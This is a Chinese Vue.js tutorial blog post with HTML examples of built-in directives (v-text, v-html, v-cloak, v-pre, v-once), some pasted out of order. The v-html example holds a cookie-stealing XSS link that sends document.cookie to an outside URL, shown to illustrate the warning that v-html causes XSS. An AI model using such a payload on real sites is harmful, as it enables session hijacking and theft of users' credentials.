内置指令
原创
©著作权归作者所有：来自51CTO博客作者夕陌的原创作品，请联系作者获取转载授权，否则将追究法律责任
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script src="../vue.js"></script>
</head>
<body>
<!--
v-bind ：单向绑定解析表达式，可简写为：xxx
v-model:双向数据绑定
v-for：遍历数据/对象/字符串
v-on:绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
v-text：替换标签里的内容
V-html:
1.作用：向指定节点中渲染包含html结构内容
2.与插值语法的区别：
（1）。v-html会替换节点中所有内容，
（2）.v-html可以识别html结构
3.严重注意：v-html有安全性问题
（1）.在网站上动态渲染任意html非常危险，容易导致xss攻击
（2）.一定要在可信内容上使用v-html，永远不要在用户提交的内容上
-->
<div id="root">
<h3 v-text="name">你好，</h3>
<h5 v-html="str"></h5>
</div>
<script>
Vue.config.productionTip =false
new Vue({
el:'#root',
data:{
name:'魏',
str:'<a href=javascript:location.href="http://www.baidu.com"+document.cookie>兄弟来点击一下，我获取你所有登入过的信息</a>'
}
})
</script>
</body>
</html>
<head> <meta charset="utf-8"> <title></title> <!-- v-once 只动态的执行一次，往后就是静态的，不会在发生变化 用于优化性能方面 --> <script src="../vue.js"></script> </head> <body>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<style type="text/css">
/* []指选中所有标签 */
[v-cloak]{
display: none;
}
</style>
<script src="../vue.js"></script>
<!-- v-cloak:不让未解析的模板显示在页面上 ，网速较慢，页面可能会直接将{{name}}展示出来，而不是vue里面的值，所以需要使用v-cloak-->
</head>
<body>
<div id="root">
<h3 v-cloak>{{name}}</h3>
</div>
</body>
<script>
Vue.config.productionTip=false
new Vue({
el:'#root',
data:{
name:'张'
}
})
</script>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<!-- v-pre:不在解析vue中的方法，用于纯html的标签，这样提高性能，加速编译
--> <script src="../vue.js"></script>
</head>
<body>
<div id="root">
<h3 v-pre>跳过编译</h3>
<h3 v-pre>
{{name}}
</h3>
</div>
</body>
<script>
Vue.config.productionTip=false
new Vue({
el:'#root',
data:{
name:'3'
}
})
</script>
</html>
<div id="root">
<h2 v-once>我的年龄是：{{age}}</h2><br />
<h2>我的年龄是：{{age}}</h2>
<button type="button" @click="age++">请选择您的年龄</button>
</div>
</body>
<script>
Vue.config.productionTip=false
new Vue({
el:'#root',
data:{
age:1
}
})
</script>
</html>
